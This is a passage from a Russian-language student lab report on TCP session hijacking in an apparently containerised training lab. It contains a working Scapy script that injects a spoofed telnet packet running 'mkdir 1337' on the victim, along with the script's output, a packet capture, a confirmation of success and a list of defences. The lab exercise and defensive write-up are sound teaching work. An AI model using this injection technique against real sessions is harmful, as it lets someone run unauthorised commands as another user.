| dst | 10.3.0.4 | IP-адрес `Victim` |
| sport | 60124 | Номер порта, с которого `HostB` устанавливает подключение |
| dport | 23 | Номер порта telnet на `Victim` |
| seq | 1386786213 | Номер следующей последовательности, который ожидает `Victim` от `HostB`  |
| ack | 482847772 |  |

2. Заполняем скрипт полученными данными
```python
#!/usr/bin/env python3
from scapy.all import IP,TCP,send,ls
ip = IP(src="10.3.0.3", dst="10.3.0.4")
tcp = TCP(sport=60124, dport=23, flags="PA", seq=1386786213, ack=482847772)
data = "\r mkdir 1337 \r"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)

```

3. Выполним атакующий скрипт
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it seed-attacker ./volume/opt3.py
version    : BitField  (4 bits)                  = 4               (4)
ihl        : BitField  (4 bits)                  = None            (None)
tos        : XByteField                          = 0               (0)
len        : ShortField                          = None            (None)
id         : ShortField                          = 1               (1)
flags      : FlagsField  (3 bits)                = <Flag 0 ()>     (<Flag 0 ()>)
frag       : BitField  (13 bits)                 = 0               (0)
ttl        : ByteField                           = 64              (64)
proto      : ByteEnumField                       = 6               (0)
chksum     : XShortField                         = None            (None)
src        : SourceIPField                       = '10.3.0.3'      (None)
dst        : DestIPField                         = '10.3.0.4'      (None)
options    : PacketListField                     = []              ([])
--
sport      : ShortEnumField                      = 60124           (20)
dport      : ShortEnumField                      = 23              (80)
seq        : IntField                            = 1386786213      (0)
ack        : IntField                            = 482847772       (0)
dataofs    : BitField  (4 bits)                  = None            (None)
reserved   : BitField  (3 bits)                  = 0               (0)
flags      : FlagsField  (9 bits)                = <Flag 24 (PA)>  (<Flag 2 (S)>)
window     : ShortField                          = 8192            (8192)
chksum     : XShortField                         = None            (None)
urgptr     : ShortField                          = 0               (0)
options    : TCPOptionsField                     = []              (b'')
--
load       : StrField                            = b'\r mkdir 1337 \r' (b'')
```

4. Убедимся в наличии пакетов в tcpdump.
```
15:45:40.024448 IP 10.3.0.3.60124 > 10.3.0.4.telnet: Flags [P.], seq 1386786213:1386786227, ack 482847772, win 8192, length 14
15:45:40.024851 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847772:482847795, ack 1386786227, win 249, options [nop,nop,TS val 1825685939 ecr 1861691417], length 23
15:45:40.231905 IP 10.3.0.4.telnet > 10.3.0.3.60124: Flags [P.], seq 482847795:482847830, ack 1386786227, win 249, options [nop,nop,TS val 1825686146 ecr 1861691417], length 35
```
5.  Проверив состояние нашего соединения между хостами `HostB` и `Victim` обнаруживаем, что соединение зависло и не реагирует на команды. Но как обстоят дела с папкой `1337` на хосте `Victim`?
```bash
┌──(marker㉿kali)-[~]
└─$ docker exec -it Victim ls -la /root
total 32
drwx------ 1 root root 4096 Mar  4 20:45 .
drwxr-xr-x 1 root root 4096 Mar  4 19:35 ..
-rw------- 1 root root   40 Mar  4 20:48 .bash_history
-rw-rw-r-- 1 root root  160 Nov 26  2020 .bashrc
drwxr-xr-x 1 root root 4096 Mar  4 19:36 .cache
-rw-r--r-- 1 root root  161 Dec  5  2019 .profile
drwxr-xr-x 2 root root 4096 Mar  4 20:45 1337
```

Видим свежесозданную папку с именем `1337`, сигнализирующую о том, что атака прошла **успешно**!

### Итог задачи 3.
TCP Session Hijacking (взятие сессии) - это форма атаки на уровне TCP, направленная на захват установленной сессии между клиентом и сервером с целью несанкционированного доступа к данным или выполнения действий от имени атакуемого пользователя.

Принцип работы атаки заключается во вмешательстве в установленное TCP-соединение между клиентом и сервером путем введения поддельных TCP-пакетов или захвата существующих пакетов для манипуляции сессией. Атакующий может попытаться взять контроль над сессией, изменить данные, выполнить команды от имени пользователя или даже завершить сессию.

В целом атака очень похожа на TCP RST-атаку по необходимым вводным данным. 

Для защиты от подобных атак могут применяться различные меры, такие как:
- Использование шифрования и цифровой подписи для защиты конфиденциальности и целостности данных во время передачи. (Например, использование SSHv2 вместо Telnet)
- Мониторинг сетевого трафика с целью обнаружения подозрительной активности или аномалий. (Сетевые снифферы с IDS, например PT Network Attack Discovery или Kaspersky Anti-Targetted Attack)
- Настройка сетевой защиты, включая файерволы, средства обнаружения вторжений и фильтрацию пакетов.

# Итог лабораторной работы
На этом лабораторная работа окончена, файл отчет в формате pdf во вложении.

Выполнил: Харитонов Марат Русланович, студенческий билет №М235314.
